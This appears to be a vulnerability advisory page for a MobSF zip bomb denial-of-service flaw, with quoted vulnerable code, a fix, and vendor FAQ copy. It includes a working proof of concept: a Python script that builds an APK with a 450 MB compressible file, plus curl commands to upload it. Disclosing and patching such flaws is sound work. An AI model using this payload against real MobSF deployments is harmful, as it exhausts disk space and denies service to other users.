Summary
MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction
When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping", but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.
Verified Impact (Code Audit)
The vulnerable code path in shared_func.py lines 153–182:
# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
size_mb = fileinfo.file_size / (1024 * 1024)
msg = (f'File too large ({size_mb:.2f} MB). Skipping '
f'{sanitize_for_logging(file_path)}')
logger.warning(msg)
# ← BUG: No 'continue' here! Execution falls through.
# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
raise Exception(msg)
# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
continue
else:
fileinfo.external_attr = ...
# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
zipptr.extract(file_path, ext_path) # ← Runs regardless of size check
The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.
Steps to Reproduce
1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):
#!/usr/bin/env python3
import zipfile, tempfile, os
output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
# 450 MB file (exceeds 400 MB limit), compresses to ~KB
info = zipfile.ZipInfo('assets/huge.bin')
info.compress_type = zipfile.ZIP_DEFLATED
with zf.open(info, 'w') as f:
for _ in range(450):
f.write(b'\x00' * (1024 * 1024)) # 1 MB at a time
print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")
2. Upload via API:
curl -X POST http://127.0.0.1:8000/api/v1/upload \
-H "X-Mobsf-Api-Key: YOUR_KEY" \
-F "[email protected]"
3. Trigger scan, then verify:
# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin # 450 MB file is there
Why This Is Not a Self-Bug
- This affects any user who scans a maliciously crafted APK
- The APK could come from a legitimate-looking package submitted for security review
- Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2), that advisory fixed the total size limit but this per-file bypass persists
- Impact: disk exhaustion preventing further scans for other users
Impact
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-68924 has a CVSS score of 4.9 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Add continue after the size warning:
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
size_mb = fileinfo.file_size / (1024 * 1024)
msg = (f'File too large ({size_mb:.2f} MB). Skipping '
f'{sanitize_for_logging(file_path)}')
logger.warning(msg)
continue # ← ADD THIS LINE
Frequently Asked Questions
- What is CVE-2026-68924? CVE-2026-68924 is a medium-severity uncontrolled resource consumption vulnerability in mobsf (pip), affecting versions < 4.5.1. It is fixed in 4.5.1. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-68924? CVE-2026-68924 has a CVSS score of 4.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of mobsf are affected by CVE-2026-68924? mobsf (pip) versions < 4.5.1 is affected.
- Is there a fix for CVE-2026-68924? Yes. CVE-2026-68924 is fixed in 4.5.1. Upgrade to this version or later.
- Is CVE-2026-68924 exploitable, and should I be worried? Whether CVE-2026-68924 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-68924 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-68924? Upgrade
mobsfto 4.5.1 or later.